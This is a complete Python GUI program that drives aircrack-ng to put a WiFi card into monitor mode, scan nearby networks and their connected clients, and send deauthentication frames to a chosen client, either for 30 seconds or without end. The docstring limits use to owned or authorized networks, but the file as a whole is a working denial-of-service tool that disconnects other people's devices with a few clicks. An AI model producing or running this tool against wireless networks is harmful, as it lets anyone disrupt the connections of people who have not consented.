#!/usr/bin/env python3
"""
Guided WiFi deauth test tool — for a network you own or are authorized to test.

Flow:  pick card -> monitor mode (saves state) -> scan networks -> pick one
       -> scan its clients -> pick one -> deauth (30s countdown | infinite)
       -> "Stop & Reset card" restores everything.

Requires: Linux, root, and the aircrack-ng suite + iw + iproute2:
    sudo apt install aircrack-ng iw iproute2
Run:      sudo python3 wifi_deauth.py
Selftest: python3 wifi_deauth.py --selftest

This is a front-end for airmon-ng / airodump-ng / aireplay-ng. wifite2 and
airgeddon do the same job if you just want the result.
"""
import glob
import os
import re
import shutil
import subprocess
import sys
import tempfile
import threading
import time

try:
    import tkinter as tk
    from tkinter import messagebox, ttk
except ModuleNotFoundError:  # GUI deps absent; --selftest still runs
    tk = messagebox = ttk = None

SCAN_NET_SECS = 10
SCAN_CLIENT_SECS = 15
DEAUTH_TIMED_SECS = 30
MAC_RE = r"^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$"

# --- child process registry (so "Stop & Reset" can kill mid-scan/mid-deauth) ---
_procs = set()


def _spawn(cmd, **kw):
    p = subprocess.Popen(cmd, **kw)
    _procs.add(p)
    return p


def _reap(p):
    _procs.discard(p)


def kill_all_children():
    for p in list(_procs):
        try:
            if p.poll() is None:
                p.terminate()
        except Exception:
            pass
    time.sleep(0.5)
    for p in list(_procs):
        try:
            if p.poll() is None:
                p.kill()
        except Exception:
            pass
        _procs.discard(p)


def run(cmd, timeout=30):
    return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)


# --------------------------- interface discovery ------------------------------
def list_wifi_interfaces():
    """[{iface, phy, type, addr, monitor_capable}] from `iw dev`."""
    try:
        out = run(["iw", "dev"]).stdout
    except Exception:
        return []
    ifaces, cur_phy, cur = [], None, None
    for line in out.splitlines():
        m = re.match(r"phy#(\d+)", line)
        if m:
            cur_phy = "phy" + m.group(1)
        m = re.match(r"\s+Interface (\S+)", line)
        if m:
            if cur:
                ifaces.append(cur)
            cur = {"iface": m.group(1), "phy": cur_phy, "type": "?", "addr": "?"}
        m = re.match(r"\s+addr (\S+)", line)
        if m and cur:
            cur["addr"] = m.group(1)
        m = re.match(r"\s+type (\S+)", line)
        if m and cur:
            cur["type"] = m.group(1)
    if cur:
        ifaces.append(cur)
    for it in ifaces:
        it["monitor_capable"] = _phy_has_monitor(it["phy"])
    return ifaces


def _phy_has_monitor(phy):
    if not phy:
        return False
    out = run(["iw", phy, "info"]).stdout
    grab = False
    for line in out.splitlines():
        if "Supported interface modes:" in line:
            grab = True
            continue
        if grab:
            if re.match(r"\s+\*", line):
                if "monitor" in line:
                    return True
            else:
                break
    return False


# ------------------------------ card state ----------------------------------
class CardState:
    def __init__(self, iface):
        self.orig_iface = iface["iface"]
        self.orig_addr = iface["addr"]
        self.nm_was_active = (
            run(["systemctl", "is-active", "NetworkManager"]).stdout.strip() == "active"
        )
        self.mon_iface = None
        self.used_airmon = False


def enable_monitor(state):
    run(["airmon-ng", "check", "kill"])
    before = {i["iface"] for i in list_wifi_interfaces()}
    res = run(["airmon-ng", "start", state.orig_iface])
    state.used_airmon = True
    time.sleep(1)
    after = list_wifi_interfaces()
    new = {i["iface"] for i in after} - before
    if new:
        state.mon_iface = new.pop()
    else:
        m = re.search(r"enabled (?:for \[[^\]]+\]\S+ )?on (?:\[[^\]]+\])?(\S+?)\)", res.stdout)
        if m:
            state.mon_iface = m.group(1)
        else:
            for i in after:
                if i["iface"] == state.orig_iface and i["type"] == "monitor":
                    state.mon_iface = state.orig_iface
    if not state.mon_iface:
        raise RuntimeError("Could not determine monitor interface:\n" + res.stdout + res.stderr)
    return state.mon_iface


def reset_card(state):
    if not state:
        return
    kill_all_children()
    if state.mon_iface and state.used_airmon:
        run(["airmon-ng", "stop", state.mon_iface])
    names = {i["iface"]: i for i in list_wifi_interfaces()}
    if state.orig_iface not in names and state.mon_iface in names:
        run(["iw", state.mon_iface, "set", "type", "managed"])
        run(["ip", "link", "set", state.mon_iface, "name", state.orig_iface])
    names = {i["iface"]: i for i in list_wifi_interfaces()}
    it = names.get(state.orig_iface)
    if it and state.orig_addr not in ("?", None) and it["addr"].lower() != state.orig_addr.lower():
        run(["ip", "link", "set", state.orig_iface, "down"])
        run(["ip", "link", "set", state.orig_iface, "address", state.orig_addr])
        run(["ip", "link", "set", state.orig_iface, "up"])
    if state.nm_was_active:
        run(["systemctl", "start", "NetworkManager"])


# ------------------------------ scanning -----------------------------------
def airodump_scan(mon_iface, secs, bssid=None, channel=None):
    tmpdir = tempfile.mkdtemp(prefix="wifiscan_")
    prefix = os.path.join(tmpdir, "dump")
    cmd = ["airodump-ng", "-w", prefix, "--output-format", "csv", "--write-interval", "1"]
    if bssid:
        cmd += ["--bssid", bssid]
    if channel:
        cmd += ["-c", str(channel)]
    cmd += [mon_iface]
    p = _spawn(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    # fixed scan duration is a naive heuristic; longer = more results.
    t0 = time.time()
    while time.time() - t0 < secs and p.poll() is None:
        time.sleep(0.3)
    p.terminate()
    try:
        p.wait(timeout=5)
    except subprocess.TimeoutExpired:
        p.kill()
    _reap(p)
    csvs = sorted(glob.glob(prefix + "*.csv"))
    aps, stations = ([], [])
    if csvs:
        aps, stations = parse_airodump_csv(csvs[-1])
    shutil.rmtree(tmpdir, ignore_errors=True)
    return aps, stations


def parse_airodump_csv(path):
    try:
        with open(path, encoding="utf-8", errors="replace") as f:
            text = f.read()
    except OSError:
        return [], []
    aps, stations, section = [], [], None
    for line in text.splitlines():
        s = line.strip()
        if not s:
            continue
        if s.startswith("BSSID,"):
            section = "ap"
            continue
        if s.startswith("Station MAC,"):
            section = "sta"
            continue
        # naive comma split; an ESSID containing a comma will skew fields.
        parts = [c.strip() for c in line.split(",")]
        if section == "ap" and len(parts) >= 14:
            aps.append({
                "bssid": parts[0], "channel": parts[3], "power": parts[8],
                "privacy": parts[5], "essid": parts[13],
            })
        elif section == "sta" and len(parts) >= 6:
            stations.append({
                "station": parts[0], "power": parts[3],
                "packets": parts[4], "bssid": parts[5],
            })
    return aps, stations


# ------------------------------ deauth -------------------------------------
class Deauth:
    def __init__(self):
        self.proc = None

    def start(self, mon_iface, bssid, client):
        cmd = ["aireplay-ng", "--deauth", "0", "-a", bssid, "-c", client, mon_iface]
        self.proc = _spawn(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

    def stop(self):
        p = self.proc
        if p and p.poll() is None:
            p.terminate()
            try:
                p.wait(timeout=5)
            except subprocess.TimeoutExpired:
                p.kill()
        if p:
            _reap(p)
        self.proc = None

    def running(self):
        return self.proc is not None and self.proc.poll() is None


# ------------------------------- GUI --------------------------------------
class App(tk.Tk if tk is not None else object):
    def __init__(self):
        super().__init__()
        self.title("WiFi Deauth Test — own network")
        self.geometry("660x480")
        self.ctx = {}
        self.state_obj = None
        self.deauth = Deauth()
        self.busy = False
        self.countdown_after = None

        self.body = tk.Frame(self)
        self.body.pack(fill="both", expand=True, padx=12, pady=12)
        bar = tk.Frame(self)
        bar.pack(fill="x", side="bottom")
        self.status = tk.Label(bar, text="", anchor="w", fg="#555")
        self.status.pack(side="left", padx=12, pady=6)
        self.reset_btn = tk.Button(bar, text="Stop & Reset card",
                                   command=self.on_reset, state="disabled")
        self.reset_btn.pack(side="right", padx=12, pady=6)

        self.protocol("WM_DELETE_WINDOW", self.on_close)
        self.screen_select_card()

    # -- infra --
    def clear(self):
        for w in self.body.winfo_children():
            w.destroy()

    def set_status(self, txt):
        self.status.config(text=txt)

    def run_bg(self, fn, on_done, status="Working…", force=False):
        if self.busy and not force:
            return
        self.busy = True
        self.set_status(status)

        def worker():
            try:
                res, err = fn(), None
            except Exception as e:  # noqa: BLE001 - surfaced in a dialog
                res, err = None, e
            self.after(0, lambda: self._bg_done(on_done, res, err))

        threading.Thread(target=worker, daemon=True).start()

    def _bg_done(self, on_done, res, err):
        self.busy = False
        self.set_status("")
        if err:
            messagebox.showerror("Error", str(err))
            return
        try:
            on_done(res)
        except tk.TclError:
            pass  # screen changed while a scan was in flight

    def _table(self, cols, widths, height=9):
        tv = ttk.Treeview(self.body, columns=cols, show="headings", height=height)
        for c, w in zip(cols, widths):
            tv.heading(c, text=c)
            tv.column(c, width=w)
        tv.pack(fill="both", expand=True, pady=8)
        return tv

    # -- screen 1: pick card --
    def screen_select_card(self):
        self.clear()
        tk.Label(self.body, text="1. Select WiFi card",
                 font=("", 13, "bold")).pack(anchor="w")
        tv = self._table(("iface", "type", "addr", "monitor"), (120, 90, 170, 110), 8)
        self._card_rows = {}
        for it in list_wifi_interfaces():
            iid = tv.insert("", "end", values=(
                it["iface"], it["type"], it["addr"],
                "yes" if it["monitor_capable"] else "no"))
            self._card_rows[iid] = it

        btns = tk.Frame(self.body)
        btns.pack(fill="x")
        tk.Button(btns, text="Rescan", command=self.screen_select_card).pack(side="left")
        nxt = tk.Button(btns, text="Next  →", state="disabled",
                        command=lambda: self._card_next(tv))
        nxt.pack(side="right")

        def on_sel(_):
            sel = tv.selection()
            ok = bool(sel) and self._card_rows[sel[0]]["monitor_capable"]
            nxt.config(state="normal" if ok else "disabled")

        tv.bind("<<TreeviewSelect>>", on_sel)

    def _card_next(self, tv):
        it = self._card_rows[tv.selection()[0]]
        if not messagebox.askyesno(
                "Confirm",
                f"Put {it['iface']} into monitor mode?\n\n"
                "This disconnects you from WiFi and stops NetworkManager.\n"
                "Use 'Stop & Reset card' to undo."):
            return
        self.ctx["card"] = it
        self.state_obj = CardState(it)
        self.reset_btn.config(state="normal")  # enable now: check-kill already ran
        self.run_bg(lambda: enable_monitor(self.state_obj), self._after_monitor,
                    status=f"Enabling monitor mode on {it['iface']}…")

    def _after_monitor(self, mon_iface):
        self.ctx["mon"] = mon_iface
        self.screen_scan_networks()

    # -- screen 3: scan networks --
    def screen_scan_networks(self):
        self.clear()
        tk.Label(self.body, text="3. Scan networks",
                 font=("", 13, "bold")).pack(anchor="w")
        tk.Label(self.body, text=f"Monitor interface: {self.ctx['mon']}",
                 fg="#555").pack(anchor="w")
        tv = self._table(("essid", "bssid", "ch", "pwr", "enc"),
                         (210, 150, 45, 50, 90))
        self._net_rows = {}

        btns = tk.Frame(self.body)
        btns.pack(fill="x")
        scan_btn = tk.Button(btns, text=f"Scan ({SCAN_NET_SECS}s)")
        scan_btn.pack(side="left")
        nxt = tk.Button(btns, text="Next  →", state="disabled")
        nxt.pack(side="right")

        def do_scan():
            self.run_bg(lambda: airodump_scan(self.ctx["mon"], SCAN_NET_SECS),
                        fill, status=f"Scanning networks ({SCAN_NET_SECS}s)…")

        def fill(result):
            aps, _ = result
            tv.delete(*tv.get_children())
            self._net_rows.clear()
            for ap in aps:
                if not re.match(MAC_RE, ap["bssid"] or ""):
                    continue
                iid = tv.insert("", "end", values=(
                    ap["essid"], ap["bssid"], ap["channel"], ap["power"], ap["privacy"]))
                self._net_rows[iid] = ap
            if not self._net_rows:
                messagebox.showinfo("Scan", "No networks found. Try again / move closer.")

        def go_next():
            self.ctx["net"] = self._net_rows[tv.selection()[0]]
            self.screen_scan_clients()

        scan_btn.config(command=do_scan)
        tv.bind("<<TreeviewSelect>>",
                lambda _: nxt.config(state="normal" if tv.selection() else "disabled"))
        nxt.config(command=go_next)
        do_scan()

    # -- screen 4: scan clients --
    def screen_scan_clients(self):
        self.clear()
        net = self.ctx["net"]
        tk.Label(self.body, text="4. Scan clients",
                 font=("", 13, "bold")).pack(anchor="w")
        tk.Label(self.body,
                 text=f"{net['essid']}  ·  {net['bssid']}  ·  ch {net['channel']}",
                 fg="#555").pack(anchor="w")
        tv = self._table(("station", "pwr", "packets"), (210, 60, 80))
        self._cli_rows = {}

        ch_raw = str(net["channel"]).strip()
        ch = ch_raw if ch_raw.lstrip("-").isdigit() and int(ch_raw) > 0 else None

        btns = tk.Frame(self.body)
        btns.pack(fill="x")
        scan_btn = tk.Button(btns, text=f"Scan ({SCAN_CLIENT_SECS}s)")
        scan_btn.pack(side="left")
        tk.Button(btns, text="←  Networks",
                  command=self.screen_scan_networks).pack(side="left", padx=6)
        nxt = tk.Button(btns, text="Next  →", state="disabled")
        nxt.pack(side="right")

        def do_scan():
            self.run_bg(
                lambda: airodump_scan(self.ctx["mon"], SCAN_CLIENT_SECS,
                                      bssid=net["bssid"], channel=ch),
                fill, status=f"Scanning clients ({SCAN_CLIENT_SECS}s)…")

        def fill(result):
            _, stations = result
            tv.delete(*tv.get_children())
            self._cli_rows.clear()
            for st in stations:
                if st["bssid"].lower() != net["bssid"].lower():
                    continue
                if not re.match(MAC_RE, st["station"] or ""):
                    continue
                iid = tv.insert("", "end", values=(
                    st["station"], st["power"], st["packets"]))
                self._cli_rows[iid] = st
            if not self._cli_rows:
                messagebox.showinfo("Scan", "No clients seen — they may be idle. Try again.")

        def go_next():
            self.ctx["client"] = self._cli_rows[tv.selection()[0]]
            self.screen_deauth()

        scan_btn.config(command=do_scan)
        tv.bind("<<TreeviewSelect>>",
                lambda _: nxt.config(state="normal" if tv.selection() else "disabled"))
        nxt.config(command=go_next)
        do_scan()

    # -- screen 5: deauth --
    def screen_deauth(self):
        self.clear()
        net, client = self.ctx["net"], self.ctx["client"]
        tk.Label(self.body, text="5. Deauth", font=("", 13, "bold")).pack(anchor="w")
        tk.Label(self.body, text=f"Network : {net['essid']}  ({net['bssid']})").pack(
            anchor="w", pady=(8, 0))
        tk.Label(self.body, text=f"Client  : {client['station']}").pack(anchor="w")

        self.mode_var = tk.StringVar(value="timed")
        f = tk.Frame(self.body)
        f.pack(anchor="w", pady=12)
        tk.Radiobutton(f, text=f"{DEAUTH_TIMED_SECS} seconds (countdown)",
                       variable=self.mode_var, value="timed").pack(anchor="w")
        tk.Radiobutton(f, text="Infinite (until you click Stop)",
                       variable=self.mode_var, value="inf").pack(anchor="w")

        self.deauth_status = tk.Label(self.body, text="Idle.", font=("", 12))
        self.deauth_status.pack(anchor="w", pady=8)

        bf = tk.Frame(self.body)
        bf.pack(anchor="w", pady=8)
        self.start_btn = tk.Button(bf, text="Start deauth",
                                   command=self.start_deauth, width=14)
        self.start_btn.pack(side="left")
        self.stop_btn = tk.Button(bf, text="Stop deauth", command=self.stop_deauth,
                                  width=14, state="disabled")
        self.stop_btn.pack(side="left", padx=8)
        tk.Button(bf, text="←  Clients",
                  command=lambda: (self.stop_deauth(), self.screen_scan_clients())
                  ).pack(side="left", padx=8)

    def start_deauth(self):
        net, client = self.ctx["net"], self.ctx["client"]
        self.deauth.start(self.ctx["mon"], net["bssid"], client["station"])
        self.start_btn.config(state="disabled")
        self.stop_btn.config(state="normal")
        if self.mode_var.get() == "timed":
            self._remaining = DEAUTH_TIMED_SECS
            self._tick()
        else:
            self.deauth_status.config(text="Deauthing… (infinite) — click Stop to end.")

    def _tick(self):
        if not self.deauth.running():
            self.stop_deauth()
            return
        if self._remaining <= 0:
            self.deauth_status.config(text=f"Done ({DEAUTH_TIMED_SECS}s).")
            self.stop_deauth()
            return
        self.deauth_status.config(text=f"Deauthing… {self._remaining}s left")
        self._remaining -= 1
        self.countdown_after = self.after(1000, self._tick)

    def stop_deauth(self):
        if self.countdown_after:
            self.after_cancel(self.countdown_after)
            self.countdown_after = None
        self.deauth.stop()
        if hasattr(self, "start_btn") and self.start_btn.winfo_exists():
            self.start_btn.config(state="normal")
            self.stop_btn.config(state="disabled")
            if "Done" not in self.deauth_status.cget("text"):
                self.deauth_status.config(text="Stopped.")

    # -- reset / quit --
    def on_reset(self):
        self.stop_deauth()
        kill_all_children()
        self.reset_btn.config(state="disabled")
        self.busy = False
        self.run_bg(lambda: reset_card(self.state_obj), self._after_reset,
                    status="Resetting card…", force=True)

    def _after_reset(self, _):
        self.state_obj = None
        self.ctx.clear()
        messagebox.showinfo("Reset", "Card restored. NetworkManager restarted.")
        self.screen_select_card()

    def on_close(self):
        if self.state_obj:
            if not messagebox.askyesno("Quit", "Reset card and quit?"):
                return
            self.stop_deauth()
            try:
                reset_card(self.state_obj)
            except Exception:
                pass
        self.destroy()


# ------------------------------ entrypoint --------------------------------
def preflight():
    if tk is None:
        return "Missing Tkinter. Install: sudo apt install python3-tk"
    if hasattr(os, "geteuid") and os.geteuid() != 0:
        return f"Run as root:  sudo python3 {os.path.basename(__file__)}"
    missing = [b for b in ("iw", "ip", "airmon-ng", "airodump-ng", "aireplay-ng")
               if not shutil.which(b)]
    if missing:
        return ("Missing commands: " + ", ".join(missing)
                + "\nInstall: sudo apt install aircrack-ng iw iproute2")
    return None


def _selftest():
    sample = (
        "BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, "
        "Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key\r\n"
        "\r\n"
        "AA:BB:CC:DD:EE:FF, 2024-01-01 00:00:00, 2024-01-01 00:01:00,  6,  130, "
        "WPA2, CCMP, PSK, -40, 10, 0, 0.0.0.0, 6, MyWiFi, \r\n"
        "\r\n"
        "Station MAC, First time seen, Last time seen, Power, # packets, BSSID, "
        "Probed ESSIDs\r\n"
        "\r\n"
        "11:22:33:44:55:66, 2024-01-01 00:00:10, 2024-01-01 00:01:00, -50, 25, "
        "AA:BB:CC:DD:EE:FF, MyWiFi\r\n"
        "99:88:77:66:55:44, 2024-01-01 00:00:10, 2024-01-01 00:01:00, -60, 5, "
        "(not associated), Other\r\n"
    )
    p = os.path.join(tempfile.gettempdir(), "wd_selftest.csv")
    with open(p, "w") as f:
        f.write(sample)
    aps, sts = parse_airodump_csv(p)
    os.remove(p)
    assert len(aps) == 1, aps
    assert aps[0]["essid"] == "MyWiFi" and aps[0]["channel"] == "6", aps
    assert len(sts) == 2, sts
    assoc = [s for s in sts if s["bssid"].lower() == "aa:bb:cc:dd:ee:ff"]
    assert len(assoc) == 1 and assoc[0]["station"] == "11:22:33:44:55:66", sts
    print("selftest ok")


if __name__ == "__main__":
    if "--selftest" in sys.argv:
        _selftest()
        sys.exit(0)
    err = preflight()
    if err:
        print(err, file=sys.stderr)
        sys.exit(1)
    App().mainloop()